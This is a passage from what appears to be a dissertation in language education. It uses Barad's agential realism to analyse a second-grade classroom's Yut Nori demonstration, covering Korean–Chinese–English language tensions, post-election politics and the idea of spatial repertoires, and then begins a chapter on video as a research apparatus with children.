words where she will not give in that the yut are not Korean despite persuasions from her friend Ruby, is that maybe she is not returning to Korea as originally anticipated. This was a frequent topic of conversation with Sapphire and her mom during the course of my time at Oakville. The relations of power the yut with Xi Xi Lu enfold into the moment with Sapphire is a disjuncture as to how Sapphire sees the moment as Korean—what for Sapphire is a continuity, then, that time, over there. The yut have become a dis/continuity across generations, across time. Cut into Sapphire’s words are perhaps the continuity of remaining Koreanness of the yut, becoming under threat in the disjuncture of the moment. Thus, to Sapphire with yut, Chinese is not a possibility, both at the time (“it wasn’t), and in the present video elicitation interview (“it’s NOT”). The yut to Ruby’s mom, Sapphire, and Ruby, enfolded are memories of Korean Lunar New Year in the U.S. and Korea, a holiday based on a lunar calendar system different from that of Oakville school. To Ruby and Sapphire, the yut bring a continuity of stories across generations. For example, there are Sapphire’s announcement that her grandmother couldn’t read them, and Ruby’s mom recollection that when growing up she used to play Yut Nori regularly during large gatherings of friends and families, but now the game for her family was played solely during Korean Lunar New Year. The dis/continuity of how it is now/how it used to be. For Sapphire the yut are one thing that remains of Korea, a continuity to her, the narrative of how it used to be that she has been told but can’t remember. The yut with Hanbok, traditional Korean dress, and other aspects of this moments bring together a stitching of moments across Ruby’s life, that she has just now, according to her mom when watching the video of the moment, put together as a narrative of Korean Lunar New Year. To Ruby’s mom, Ruby’s teaching of the class is a dis/continuity —that time, that time, that…time, stitched together, rolled together, in this time. In empirical studies adopting a scalar analysis in sociolinguistics (Collins, 2012; Gu & Ho, 2012), power is noted as shifting transglocally. Yet what is different in the post-election pajama day Yut Nori moment, is that power is often ambiguous in its shifting. At Oakville school, through a lens of dis/continuous transglocaitimematterings, it was ambiguous where the relations of power resided. For example, while the majority of the school population was White and English the medium of instruction, Koreans were more represented in the academic gifted program for the grade that year. Koreanness was perhaps viewed as fitting in more to ways of doing at Oakville school than Chineseness. Yet in the curriculum and pedagogy, there was the prevalence of celebrating Chinese New Year through art projects and book reading in school with Korea being less represented. Until this moment, it was never mentioned that Korea in addition to many other countries would also officially celebrate Lunar New Year on the same day that year. There was the recognition that China is a geopolitical power, and Sapphire’s words that Chinese was the most dominant and fastest growing language in the United States. There was Caitlin bringing Chinese and Korean verbal and written languages into the classroom. There was Trump’s nationalist politics. There is a disjuncture in the moment with pajamas, yut, Korean, and Chinese that challenges English monolingual ideologies. Yet the competition over the language of the yut suggest a continuity: the notion of one named language needing to be a winner in a wrestling to become the language of the classroom. In this case, monolingual-cultural ideologies were not only linked to English. **Transglocaitimemattering 4: Korean vs Chinese** Cut into the words of children is the continuity of how Chinese/Korean used to be, and how they are there, now. For example, Ruby, and Sapphire as well as Madeline and Xi Xi Lu with tablet, in separate video elicitation interviews, suggest there are continuities, complex relations between the bounded languages of Chinese and Korean. There is the statement by Madeline and Xi Xi Lu, cut with tablet and Google Translate neural network, noting a bounded Chinese, separate and more powerful than Korean: “Korean come(s) from Chin(ese)”, and “South Korean used to be from China”, and “South Korea is a small country so they cannot protect themselves.” (4/28/17 video elicitation interview—see Figure 2, Xi Xi Lu with tablet). In a separate conversation, Ruby explains, “It (the language on the yut) was sort of like the basic language of Korean until a king made up a different language (modern Korean)” (3/30/17). Yet this information, the continuity that Ruby, Madeline, and Xi Xi Lu enfold into the moment about the historical relationship between Chinese and Korean, produces a moment of disjuncture where Sapphire reports to just be learning of this relationship in the circle at Oakville school: “At first I didn’t realize that it (Korean) was similar to Chinese” (3/30/17). This realization is significant for Sapphire given to her Korean serves as a continuity, an anchor. Korean is under threat for Sapphire. She has recently learned she might remain at Oakville instead of going back to Korea after second grade as planned. Also significant is that Sapphire begins the moment thinking she is teaching her classmates about the yut, yet the yut end up teaching her: “At first I didn’t realize that it was similar to Chinese, and I was thinking, why didn’t I think of that before?” (Sapphire, 3/30/17 interview). This connection is one that went missing from the sense making of English-dominant peers in the classrooms, including my initial analysis. It was the words of Xi Xi Lu, Madeline, and Ruby with tablet that led me to investigate this relationship. In a recent article on spatiotemporal disjunctures in a Chinatown in Incheon, Korea, Jerry Won Lee and Jackie Jia Lou (2019) note the historical relationship between Chinese characters and the Korean script, Hangeul, including that Hangeul was not promoted as the script of Korea until following colonial occupation by the Japanese in the twentieth century this not and a contemporary push to remove Chinese loan words in Korean. They write: Prior to the invention of Hangeul by King Sejong (1397–1450) of the Joseon Dynasty, Koreans did not have their own script and relied exclusively on the Chinese writing system. Today, while the use of Chinese characters and loanwords from other languages (especially Japanese and English) is quite common, there is an active movement toward language ‘purification’, attempting to ban the use of loanwords and even Chinese characters. Framed by this historical knowledge, the Yut Nori moment is an example of diverse local intra-actions in Room 246 penetrating a historical global debate on Korean language purity and political relationships. It is a ghostly influx of generations of language debate playing out in the circle in Room 246. Yet despite these words of Xi Xi Lu, Sapphire, and Ruby that suggest Korean and Chinese are more bounded and separate, Korean, English, Chinese, embodied movements, and objects might have in fact be more meshed. Sitting on the classroom rug, while the words between Xi Xi, Madeline, and Patrick were not a word-level blend of Chinese and English, sounds of Mandarin and English flew back and forth across the circle of bodies. While marks on yut being Chinese is an impossibility for Sapphire, as previously noted, mixed or meshed versions of named languages, resonating with a Translingual orientation is plausible to Sapphire. She notes, “so like Korean mixed Chinese”, later making air quotes around the words ‘Korean’ and ‘Chinese (3/30/17—see Figure 5.1). Ruby speculates the marks on the yut are “sort of like half Chinese, half Korean” (3/30/17). Likewise, in contrast to Xi Xi Lu and Madeline’s words with Sapphire’s contention at times that Korean as distinct and separate, Sapphire and Ruby note the relationship between Korean and Chinese as porous or potentially more complicated than their boundaries suggest. As previously noted, Sapphire discovers a connection between Korean and Chinese she didn’t realize before (3/30/17), while Ruby and Sapphire suggest Korean is dynamic, referencing how what we know now as modern Korean was different than earlier versions. **Transglocaltimemattering 5: “English Please” Bonjour! Chinese** Contesting what Xi Xi Lu, Madeline, and Patrick note as being Chinese, is their peer Markus on the classroom rug who interjects “ENGLISH PLEASE.” This statement might have been a pivot point, where relations of power shifted in response to the soundscape of the classroom transforming. “English Please” as a disruption to the disruption, a dis/continuity brought into the circle by the bounded/meshed Korean and Chinese, their relations with pajamas, different calendars, a ghostly Lunar New Year monkey, and ambiguous marks on yut. This could be viewed as disrupting the continuity of how it used to be, and the dis/continuity of how it is here, eight days after the election of Trump. Cut into these words of “English Please”, a phrase depicting a narrative that one might see on a political bumper sticker, could be enfolding the rhetoric of President elect Trump’s nationalist campaign, and the narrative of not getting left behind in a globalized economy, where in the Room 246 circle on the classroom rug, the majority of children did not have access to decoding the yut in the middle of the circle even if the marks were Chinese or Korean. It is unclear who or what is in the center of periphery, as noted in more hierarchical conceptualizations of scalar analysis (Dong & Blommaert, 2009; Mortimer, For example, “Use your English please” … “use your good English please” were phrases that could frequently heard in the ESL teacher classroom next door (field notes 1/27/17), yet never spoken by their classroom teacher. “English please” could be viewed as gender and class re-negotiation by White male English-dominant classmate Markus, a contesting of what the yut, but particularly Xi Xi Lu and Madeline, Asian migrant females bring into the circle. Shifting relations of power with this phrase could be seen as contested, an attempt to shift power back in Markus’ favor. Such could be seen as a global nationalist debate playing out on a local scale. Yet with this story there is another that needs to be told. It’s ambiguous where the relations of power are located with the escaping of the words “English please”. There is perhaps a morphing of power relations of the dis/continuity in the soundscape drafting away from English, but simultaneously the relations of power pushing a paradox of mobility at Oakville school, a school where middle-class mobility was continuous in the sense it continued backgrounded, less noticed. I didn’t recall, for example, Markus being able to answer during a math class when classmates accurately knew how many hours it would take to fly from their school to a variety of different countries, referencing parents’ trips. “Bonjour!” is what Markus often yelled out abruptly during video elicitation interviews with peers, and the name he gave to the made-up language he told everyone he knew. The experiences Markus brought to Room 246 were very different in comparison to the majority of his peers’. They were noticed as different, just as Xi Xi Lu and Madeline’s, but in a different way. Markus, thought to be a local, was a foreigner at Oakville school, just as Madeline and Xi Xi Lu. In the moment when Markus spoke the words “English please”, he was eating an apple the teacher brought him for snack, as she did every day, while his peers ate snacks brought from home. Yet Markus was part of the circle at this moment. Taking into consideration Barad (2007), I argue that the material of Bonjour!, a made up verbal and written language that sounded like English with a Cockney accent, was a material that put into action changed the construct of class, re-shaping how Markus could operate at Oakville school in relation to his peers. It’s also the apple that negotiates class in this moment, yet the yut in action that interrupt Markus’ apple chewing. *He stops from chewing an apple for a second, pausing mid-bite*. It’s “Bonjour!”, not signifying but evoking. “Bonjour!” evokes “listen to me. Look what I know”. While Bonjour! was noticed by the classroom teacher, me and peers as something interesting that came up throughout the semester, no one seemed to notice “English Please” during this moment. Do ‘made up’ languages at Oakville redistribute relations? Does Bonjour! materialize foreignness in a way that is palatable to classmates at Oakville, teacher, and researcher in Room 246? **Transglocltimemattering 6: A Circle** The previous five transglocltimematterings emphasize the dis/continuities where in many ways players and partners are separated in the ambiguous, complex, and contested power-infused relations. The following story suggests how despite being cut apart, given that we are all part of a circle on the classroom rug, we are simultaneously cut together. As part of the circle we co-broker a transglocltimemattering of engagement together. The perspective of peer Clarisse with ultra-wide-angle lens and barrel distortion Go Pro Camera foregrounds yet another perspective—the striking ‘O’ that we make together on the classroom rug. The ‘O’ we are in the classroom was a timeless form (see Figure 5.11) in that this ‘O’, the beginning had already clearly begun, or rather the beginning will never arrive (Barad, 2013, p.17) Figure 5.11. Engagement as a circle of bodies. Barad writes matter is a doing, a congealing of agency… agential relatings and differences across, among, and "between genders, species, spaces, know ledges, sexualities, subjectivities, and temporalities. (Barad, 2013, p.17) In this example, The Go Pro lens with Clarise suggests a compelling visual of how we as a circle of bodies, of agency coagulating, are matter. We are the energy of our entanglements, threading through each other. Drawing on the work of literacy scholars inspired by Barad’s concept of “spacetimemattering” (Juelskjar, 2013; Wargo, 2019), I suggest that we as a circle are produced through materialization of enfolded matter across times and spaces, relations of power, and the affective forces that change us. As a circle we are moving human bodies, pajamas and pajama day, yut, sounds of Mandarin, Korean, English, spaces of Koreanmness, Americanness, Chineseness and different ways of doing and being negotiated across many different moments across what we’ve come to know as the U.S. school year, China, and Korea. We are ontologically crystalized in this moment in the circle during the post-election pajama day Yut Nori moment, not existing just the same way neither before nor after. We are of the geometric shape of the ‘O’ that works and re-works the energies of the dis/continuous language making. The circle holds these ambiguities, complex, and contested power-infused relations, propelled by the tension of categorical binaries oriented to forces of narratives of geographic locations and bound languages as detailed in the transglocalmattering excerpts 1-5. The circle harnesses other timesspaces of sharing in Room 246 such as when we watched videos students brought from home of what they did and cared about outside of school, read alouds after lunch, and morning meeting, enfolding a sense we must listen attentively, demanding our attention because something important is supposed to happen. The circle suggests an impulse to act a particular way. The circle includes Markus, and embraces Xi Xi Lu, who has just returned from her pull-out ESL classroom when the Yut Nori demonstration begins. Of the circle of matter, harnessing and augmenting these dis/continuities are teacher Caitlin sitting crossed-legged next to children rather than physically and vocally taking up a position of leadership. The teacher’s moving of the language making, circle mattering, is silent. She is allowing the yut, Madeline, and Xi Xi Lu negotiate the experience without her words. In moving in silence, the teacher Caitlin did not steer the circle to her prepared literacy lesson for the day, which she never wound up initiating. The circle of matter harnessed us in-between curriculum. Part of this matter circle as researcher, I film with a Kodak touch screen camera, sitting crisscross on the rug in this circle, made possible without furniture. The energy of this language-making mattering, is fueled by the debut of yut in American classroom being recorded, appearing for the first time several continents away from their location of purchase and likely manufacturing site. The dis/continuities jittering in the circle play tag with the back and forth buzz of passing yut, the hollow sound of yut hitting the floor, *soft, like the strike of wooden candle bowling pins, or a wooden block structure crashing down*, their portability enabling the marks to be read up close. They play further with the foot-long one side-flat of the wooden yut that fit into children’s palms, lightweight and slender, turning with Xi Xi Lu’s wrist and move to face-level, enabling all of us sitting on the carpet to see some kind of marks in attempt to crowd-source their meaning. The dis/continuities play with the yut that evoke Xi Xi Lu to walk slowly and look, and their hollow clanking evoking grimaces. As visible by the Go Pro video footage, further hyping this jittering game of the circle is glucose in the form of chips, juice, candy, and fruit, boosting the vitality of circular matter (see Figure 5.6). Perhaps it was the pajama-clad, glucose-fused body circle that wrapped around Xi Xi Lu, Patrick, and Madeline, focusing the dis/continuous activity as yut and children move to the center of the circle together (see Figure 5.9). While work in socio and applied linguistics makes possible conceptualizing how ‘space’ in the classroom changes with resources available in activities (Canagarajah, 2018a, 2018b, 2018c), Barad’s (2007/2010) concept of “spacetimemattering” makes possible how seeing language making of the classroom is always on the move and never stagnant. Diffracting these orientations, just as language making of the classroom, the place of the classroom and spaces of engagement, are being re-made in the post-election pajama day Yut Nori moment. This moment, just as others are “performance(s) of spacetime (re)configurings” (Barad, 2013, p.16) where in this moment, matter as a circle decoding Chineseish, Koreanish, ambiguous marks on yut, wrist twisting of yut, hand raising and getting up, English phrases, pajamas never performing quite this way, “does time” (Barad, 2013, p. 16). Thus, this performing, this language making as mattering does not to suggest that we as languagers, a circle of bodies, move *in* and evolve *in* a spacetime as a container. Rather, our movements, our matterings of language making create the spacetime. Barad (2013) writes, “here-now, there-then have become unmoored-there’s no given place or time for them to be” (p.29). The same could be said of the transglocal in that the local-global have become unmoored in their dis/location. Thus, combinations of resources, matter splicing, creating the many spacetimes of language making, is what creates the moving transglocaltime of Room 246. In this circle of bodies that is matter of dis/continuous transglocaltimes, we produce in our movement a spacetime of engagement. Engagement is made in this harnessing, pumping up, wrapping aroundness of the dis/continuities of transglocalmatterings. The circle of engagement is a particular transglocaltimemattering that re-shapes entangled energies of power ambiguities and contestedness of excerpts one through five. What is significant about this spacetime of engagement created with the circle is that the composition of the circle by players and partners is what Barad (2007) might call a “specific material demarcation”. That is, working with Barad’s conceptualization, I suggest we are not creating an imagined or conceptual space, but one that is created in the physical relations of children, yut, and narratives of Chinese, Korean, and English across spacetimes. Also significant is that the transglocaltimemattering of engagement is not attributed to one of us in the circle, as has often been the focus in studies of bi/multilingual classrooms, but rather Room 246 as and of a circle. How are we implicated in this transglocaltimemattering of engagement? How do dis/continuous transglocalmatterings in a circle become engaging? Barad (2013) writes, “This dis/jointed movement is intended to produce a felt sense of difference…differentiatings that cut together/apart” (p.16). In this way, in the circle we feel the juxtapositions of transglocaltime, the dis/continuities and juxtapositions of the excerpts told in stories 1-5, just as we hear and see them. Yet we also feel the dis/jointed movements in the circle of bodies, the connectedness of the marbling in language making, just as the dis/jointedness when a different transglocal time is entangled. We see, hear, and feel language making in the classroom enfolding, iterating. We feel the juxtapositions of ambiguities and power. In the circle of dis/continuous transglocaitimematterings, we are each changed and changing as we have the possibility to be part of the disjunctures and continuity coming together, threading into each other all around us. Let’s return to the quote by Barad in the beginning of the chapter: “the trace of all measurements remain even when information is erased” (Barad, 2010, p.261). Children’s verbal comments during the video elicitation interviews, what might be considered ‘information’, largely has to do with negotiating the boundaries between Korean, Chinese, and English in this moment. Barad’s notion of traces of former intra-actions remaining implies that even if these comments were not spoken, or before they were spoken, as if ‘erased’, traces of forces are still felt. For example, traces felt yet not visible were those harnessed by pajamas; how Xi Xi Lu and Madeline saw themselves in relation to Patrick, Ruby, and Sapphire; Koreanness to Ruby and Sapphire; the lingering rhetoric of Trump’s campaign; the apple; the sounds of Mandarin; the marks on yut; global pop culture; and the relationship between the bounded languages of Korean, Chinese, and English. These were the ghostly entanglements that worked all of us in the circle to make the moment, even though more readily recognized were children’s words, Xi Xi Lu’s hand raising, standing up, and jumping up. This felt sense of difference of the ghostly entanglements is what makes the moment engaging. What is engaging is that as players and partners in Room 246 in a process of inquiry, we feel, hear, see in language making, yet there is seemingly no answer as to what this means. We are “dis/(oriented)” (p.16, 2013), of the circle, our orientation in the here and now of the Yut Nori presentation, but distanced elsewhere. Thus, our dis/orientedness is what is engaging, the “craziness” for Xi Xi Lu. It is the ambiguity and contentedness of the transglocaitimemattering of language making that is engaging, the experimenting in language-making, discovering and rediscovering. We are affected by the “dis/jointedness of time and space” (Barad, 2013, p. 16). In this dis/jointedness, there is a rising to the challenge to solve the puzzle of these ambiguous yut, not knowing if it can be solved, and not getting to the bottom of it. As a circle of bodies, in a beginning that has already clearly begun, a transglocaitime of engagement is created. **Repertoires of Language Making in Room 246** The following section considers how the diffracted scalar analysis of the Yut Nori moment requires a consideration of repertoires in Room 246 as enfolded transglocalmatterings, more collective than individual and more dynamic than patterned. Such a conceptualization of repertoires builds on notion of spatial repertoires from socio and applied linguistics (Canagarajah 2013; 2018a,b,c; Pennycook 2017, 2018a, 2018 b) and Pennycook and Otsuji (2014/2017). Despite their differences, both of these conceptualizations of spatial repertoires consider repertoires as capacities available, attributed to the activity in a particular environment as opposed to the approach to repertoire as attributed to an individual child, or adult. I begin with the productive additions of these already established conceptualizations of spatial repertoire, followed by the limitations of these approaches for the analysis of the Yut Nori moment. First, a productive addition of Pennycook and Otsuji’s (2014/2017) conceptualization of spatial repertoire is that they foreground how material characteristics of a location shape communicative possibilities, i.e., yut on carpet in a circle in Room 246. Yet less relevant for Room 246 and the theoretical concepts worked with in this chapter is that with Pennycook and Otsuji’s (2014/2017) and Pennycook’s (2017, 2018a, 2018b) conceptualization of spatial repertoire, place is conceptualized as constant and bounded, with spatial repertoires coming about from the materiality of the genres associated with what they call artefacts and activities of physical locations such as Bangladeshi-owned shop in Tokyo and Sydney (Pennycook and Otsuji, 2017) or a restaurant kitchen (Pennycook & Otsuji, 2014). Different from Pennycook and Otsuji’s orientation to place, the orientation taken in the Yut Nori analysis is that what might be thought of as a physical place such as Room 246, or to Pennycook, a Bangladeshi-owned shop, is also continually moving with the dynamic spaces of language making. Therefore, the analysis aligns with Barad (2007) and the orientation of spatial repertoires (Canagarajah, 2018a, 2018b, 2018c) in conceptualizing place such as Room 246 as not fixed. Elaborating, Canagarajah writes that “space has the resources to complicate, layer, and reconfigure place so that homogeneous meanings and ownership do not remain fixed.” (p.4). Thus, a dynamic space is continually creating place as dynamic. Barad (2013) adds, “There is no overarching sense of temporality, of continuity, in place” (p.18). For example, writing of the city of Copenhagen, Barad (2010) writes that what we name Copenhagen is “not a place… but rather a nonplace, and nontime, a dislocation, a referent, a fracture, a rupture, a disjuncture, an opening” (p. 262). Thus, not theorized in Pennycook and Otsuji’s (2014/2017) work is that in the Yut Nori moment the circle, Oakville school, Room 246 is never the same ‘place’ given the dynamic transglocaltimematterings of language making that are continually shaping and reshaping these so-called places. If Room 246 is continually in flux, what follows is that so too must be the combinations of components and resources that comprise language making—thus repertoires as dynamic. Canagarajah (2013, 2018a, 2018b, 2018c) inquires how the spatial repertoires of activities changes communicative practices. For example, Canagarajah (2018c) argues that significant is that the patterns of communication (repertoires) afforded in a translocally negotiated space of a university classroom suggests that the repertoires of what is available in the space includes the combinations of a semiotic intralanguage of drawing, moving the body with board, pauses, and using select field-specific words that renders a lecturer ‘successful’ in teaching despite having a lower English proficiency (Canagarajah, 2018c). Taking a similar approach to spatial repertoire during the Yut Nori moment might suggest naming the patterned repertoires of sharing and negotiating in a circle. This might include determining what semiotic features occurred in the practice of sitting on the floor in Room 246 without desks, the yut, hand raising, classroom talk in English and Mandarin, and movements of the body, such that the usually quiet Xi Xi Lu and Madeline talk and share information. The rationale of this orientation might be to find a right combination of factors so that we can know what combinations available might allow Xi Xi Lu and Madeline to contribute to class discussions through actions such as raising hands, talking, and sharing information, ways that engagement is often recognized in classrooms. Canagarajah’s conceptualizations of spatial repertoires are useful to the Yut Nori moment because it provides examples of how in a linguistically and culturally diverse classroom, the languages available depend on more than Xi Xi Lu and Madeline’s capacities of English and Chinese. Nevertheless, in the Yut Nori moment, just as other moments in Room 246, a classroom with young children, there are many different considerations to make that are different than in Canagarajah’s empirical examples in higher education with adults. First, there are multiple activities co-occurring. For example, it is unclear whether the activity is sharing and listening, reading, eating a snack, a cultural and historical presentation, a class meeting, or all of these. In the circle of bodies, these activities morph together, they aren’t separate or distinct. It’s unclear how to break them apart. Second, in the case of the example in the university classroom (2018c), it appears that teaching through boardwork was a repeated activity in the math classroom, just as college students filed in and sat in their seats, and the lecturer presented material of different content on the board. Yet activities operated very differently in the fast-moving elementary classrooms with young children of Room 246, often not repeating and transpiring in new ways with rapidly growing children, and changing seasons. For example, during my five months in the ESL classroom, all of which began with what might be considered a continuity of morning meeting sitting in a circle, this never provoked similar relations to the post-election pajama day Yut Nori moment in the mainstream classroom Room 246. In the same way, in Room 246, the yut never entered into the classroom again, despite my persuading to Sapphire, and later to her mom, to bring them back. Pajama day only occurred this one time that I was aware of during the second-grade school year, just as Lunar New Year. While extending research to Madeline’s elementary classroom in China is beyond the scope of this paper, having seen pictures of her former classroom with nearly fifty students in a room and desks in rows, I suspect there would be no room for such a furniture-less circle of bodies in her former classroom, nor could it still be the classroom I thought I was seeing in the picture. At the time of writing, president elect Trump had only been elected to office once. This language making, therefore, seemingly never occurred in quite the same away again within other activities of sharing, or other numerous activities in the circle on the rug. Pennycook and Otsuji’s scholarship (2014/2017) also turns our attention to what might be the repertoires of an activity of sharing given the materiality of different physical locations. For example, during the Yut Nori moment, sitting in a circle might be a genre of American public elementary schools, resulting in particular communicative activity. Yet when we sat in the circle, often multiple times a day, what might be thought of as a continuity, our sitting was different. Student-brought videos into the classroom, read alouds after lunch, and the morning meetings continued to happen on a daily basis, bringing us into a circle on the classroom rug, yet language making was different in each of these new sittings. On some occasions we were with science equipment, on the morning before this sharing, we had engaged in something called the “stinky shoe greeting” in morning meeting, where we dropped our shoes in the middle of the circle and said hello to each other by returning each other’s missing shoe to their owner. In each of these moments, language making became something else. What I suggest, then, is that with the Yut Nori moment, just as moments throughout the school year in Room 246, we cannot find a patterned doing associated with particular activities and the materiality associated with this doing. Such a proposal that foregrounds the dynamism of repertoires rather than their patterned nature is a departure from empirical work to-date in posthuman-oriented socio and applied linguistics with scholars working with the term “spatial repertoires”. For example, in the case of the university lecturer (Canagarajah 2018b, 2018c), the way of doing board work in this particular university classroom seems to be what consistently makes him a successful lecturer. In Pennycook and Otsuji’s (2014/2017) work, it is what they call the genres and sedimented historicicity of places that create different repertoires. In empirical work both Pennycook and Canagarajah therefore seem most interested in attending to the fixity and patterns as they exist within fluidity (Canagarajah, 2018; Pennycook, 2017). Perhaps in empirical work involving adults, there is a greater impulse to focus on the patterning within fluidity. Yet in Room 246 with seven and eight-year-olds, language making, bodies and minds and that with what we work are constantly buzzing and changing. Clothes and shoes are continually getting too tight on rapidly growing children’s bodies, just as ways of reading, writing, and the world are being (re) discovered for the first/next/another time, just as Google Translate neural networks are constantly in movement. As such, identifying patterns of language making in Room 246 is comprised of spaces continually on the move, perhaps a focus that is less suited in adult-oriented fieldwork. Even though Barad’s (2007/2010) focus of inquiry is not on what are considered culturally and linguistically diverse settings such as that of Canagarajah (2013; 2018a,b,c), Pennycook (2017, 2018a, 2018b), and Pennycook and Otsuji (2014/2017), her work is helpful to consider an emphasis on the dynamic rather than patterning of repertoires. Diffracting Barad’s work with the post-election pajama day Yut Nori moment and other throughout the school year, I suggest that in a transglocaltime that is continually mattering and changing, such patterns or repertoires of language making, what capacities exist in a moment, remains ambiguous and ephemeral, unable to fully define, just as the spacetimes that they are continually being created by and creating the language making. There is no “going back” or “restoration of a present past” (Barad, 2013, p.28-29). To Barad there are only moments threading through each other. To Barad, the here-now and then-there are unmoored during the dis/continuities of the Yut Nori moment. Therefore, a focus of inquiry in the Yut Nori moment is a move away from considering patterns, genres, and combinations of sedimented repertoires of language making. By diffracting Barad (2007) with Canagarajah and Pennycook’s work in socio and applied linguistics, I suggest that by identifying patterns of difference and how boundaries are created, this does not suggest an identification of combinations of visible objects, gestures, verbal/written languages, in classrooms and markets such as those named in detail in interactional discourse analysis. In fact, despite Barad’s ethics of making “ghostly entanglements visible”, such that what is materialized and not in intra-actions are made explicit, this does not suggest it is possible to name patterns across repertoires to the extent that empirical work in socio and applied linguistics call for. Barad writes that with the “iterative nature of intra-active practices … the production of the new can’t be located… (p. 383). What Barad’s work suggests is that we cannot identify what is new, just as what is not new. Furthermore, different from work in socio and applied linguistics, “even when information is erased”, as Barad (2014) writes, or in this case, words aren’t spoken or necessarily convey information, “the trace of all measurement remains” (p.261). That is, the trace that remains are not necessarily visible as in an object or gesture, but is felt in the forces across transglocalmattering, coming together in the intra-activity of language making. Thus, such difference might not be visible, but invisible forces felt that spawn differentiation. Therefore, to Barad, through the process of enfoldings, the twisting and re-twisting or marbling cannot fully be traced, as these injections are far too ghostly. These injections of forces felt that do not stay long enough to fully be recognized as a defined, named pattern. Working with Barad’s notion of intra-action, I pose that what Canagarajah and Pennycook refer to as a fixity is not a sedimentation. Rather, I propose that continuities are perhaps components intra-acting and enfolding at a slower speed than others. Furthermore, disjunctures in the moment, what Pennycook and Canagarajah refer to as fluidity, are not wholly new. This suggests that tensions of different speeds of intra-action, what socio and applied linguistics consider fixity and fluidity, can exist within repertoires. Why this matters is that as noted in the Yut Nori moment, it is the disjunctures of repertoires and the affective forces produced between the dis/locations and dis/continuities between time and spaces across memories of home and school during the U.S. second grade school year, China, and Korea, that are engaging, not only the combinations of resources themselves. Each repertoire, each transglocalmattering, is a muddled, twisted, marbled mesh of past and future. Thus, in Room 246, I argue there is a need to consider this mattering highlighting dis/continuities as just as significant as identifying combinations of particular visible objects, items, sounds, texts that combine to provide particular ways of engaging. We should furthermore not consider that these repertoires can or should be replicated given that each iteration is always different, and will continue to be. Chapter 6. Recognizing Engagement with Video: Tensions and Agency of Video as a Research Apparatus This chapter centers video and video elicitation interviews as critical to the methodological apparatus of the research. Different from the focus of other chapters, this chapter gives particular attention to how, as researcher with a video camera, I am entangled in the material relations of Room 246. Considering scholarship in digital ethnography and early childhood education, I diffract notions of videography and photographic image making both *as* a body (de Freitas, 2015/2016) and *with* a human body (MacDougall, 2006). This theoretical framing makes possible the exploration of another aspect of mobile technologies in classrooms, i.e., video as an apparatus that simultaneously creates tensions and agency in recognizing engagement in classrooms with emergent bi/multilingual children. Video actively constructing knowledge aligns to de Freitas (2015/2016) and Ruppert, Law, and Savage’s (2013) argument that the material characteristics of digital devices taking part in research must be analyzed in the research knowledge they generate. Emphasizing how video actively constructs knowledge making, Ruppert, Law, and Savage (2013) call for social science researchers to explore the particular characteristics of digital devices, such as “how they collect, store, and transmit numerical, textual, or visual signals” that change the research produced (p. 29). de Freitas (2015/2016) poses a similar question in relation to the images produced in classroom video research, asking that we “confront the algorithmic nature of digital devices as we accept as common practice the reliance on digital data in education research” and that we “experiment with digital algorithms rather than submit to them, to enter into contact with them rather than simply submit to the software that is handed down to us” (2015, p.334). Given this inquiry, this chapter is focused on three questions: 1) How do the material characteristics of cameras, harnesses, tripods, pixels, and software change what is possible for children and researcher as they watch and produce video of the classroom? 2) How does this process create new moments of language making? 3) How does working with video and cameras shape the knowledge creation of the dissertation? **Surprises with Video in Room 246** I was compelled to center the inquiry of this chapter around video because working with video was significant to the dissertation in so many ways. First, video brought many surprises to the research. For example, the fish bubble lens of the Go Pro cameras produced very different images of the classroom. When sitting cross-legged on the floor, wearers of the wide-angle chest-mounted Go Pro recorded the wearers’ legs, arms, laps and the carpet and food on the floors that went unnoticed during the original moment. The Kodak touch-screen cameras enabled the videographers to see what they were filming in real-time; this seemed to increase the likelihood that children, teachers, and researchers would be filmed. In contrast, when children filmed with Go Pros without a viewer, this seemed to increase the likelihood that material objects such as the paper would be the focus. While I expected flexible-mount cameras such as GoPro’s would enable children to move unencumbered in their usual activity, cameras and mounting options often restricted children’s habituated body positions. For example, the chest-mount Go-Pro disabled children from lying down on the floor belly-down as they often did during writer’s workshop. Children often found the head-mount Go Pros itchy, heavy, awkward, and drew significant attention from peers. Further surprising was that when I would show children the GoPro videos initiated by them, children didn’t seem interested. Children seemed to be more interested in the video I produced with Kodak touch than that which they created with GoPro. Because of this, moments that they indicated were most significant were largely those based on my filming with Kodak touch. As noted by scholars of young children’s literacies, this video footage appeared to be more of a by-product of a once-engaging activity where the product itself was not as valuable (Dyson, 1997). What happened during the video and photo elicitation interviews was also surprising and not what I intended going into the research. While interesting conversations ensued about former moments in response to the video, new moments were also created in the interviews where children and tablets played, engaging in new transformations with each other. For example, as I elaborate later in this chapter, focus group interviews turned into lunch play sessions where children spun around the room in response to videos, made up new gibberish-like languages with Google Translate and each other, and took pictures and videos of each other engaged in this play. I also initially underestimated the power of the video to unstick and open up memories of former moments and how engagement would be re-storied with bits and pieces of the former enfoldings to produce something new. *Figure 6.1. Children’s unsolicited experimentation with video recordings during video elicitation interviews.* Given these experiences with video cameras and watching the videos together during interviews, I became interested in the agency of video cameras with children. I also became interested in the material characteristics of the hardware of the camera such as size, feel, way of positioning and standing, and the capacity of different lenses. I further became interested in how the characteristics of the technology comprising video affectively worked with children and researcher, morphing us into a different way of acting, creating, or filming. Before describing the multiple ways in which video was significant, I first present insights from qualitative research in early childhood studies, media/film studies, and anthropology that foreground two perspectives of the material characteristics of video with children and researchers and the relations they produce and make visible together. **Two Theoretical Points of Departure: Diffracting Video as a Body and With a Human Body** A translingual practice lens (Canagarajah, 2013) nor Barad’s (2007) agential realism theorize specifically about the process of children and researcher working with video as a part of the research process during and after fieldwork. Because of this, I consider other scholars’ work that theorize video in ways resonant with the different concepts and orientations that inform language making in this dissertation. There are two theoretical points of departure brought together to conceptualize video in this chapter. The first is what I call video *as* a body (Änggård, 2015; Canton & Hackett, 2019; de Freitas, 2015/2016; Harwood & Collier, 2019; Kind, 2013; Magnusson, 2018; Murris & Babamia, 2018; Taffel, 2012; Wargo, 2018; Wanono, 2014). The second is what I term video *with* a human body (MacDougall, 2006; Sumartojo & Graves, 2019; Pink et al., 2017; Sumartojo & Pink, 2017). The first, what I call video *as* a body, conceptualizes video as focused on the relations between players and partners that together comprise video as a body. Pertaining to Room 246, this perspective suggests viewing video as a relational body comprised of camera lenses, digital participants such as software, and algorithms, children and researcher moving bodies, and the position of harnesses and tripods attached to cameras. In tension with this is empirical and conceptual work from visual anthropology/ethnography conceptualizing video *with* a human body. Work conceptualizing video *with* a human body broadly suggests children, researchers, cameras filming images are ontologically separate, even though still having a symbiotic relationship. While I emphasize the differences between these approaches, it is important to note that across areas of scholarship, both would broadly 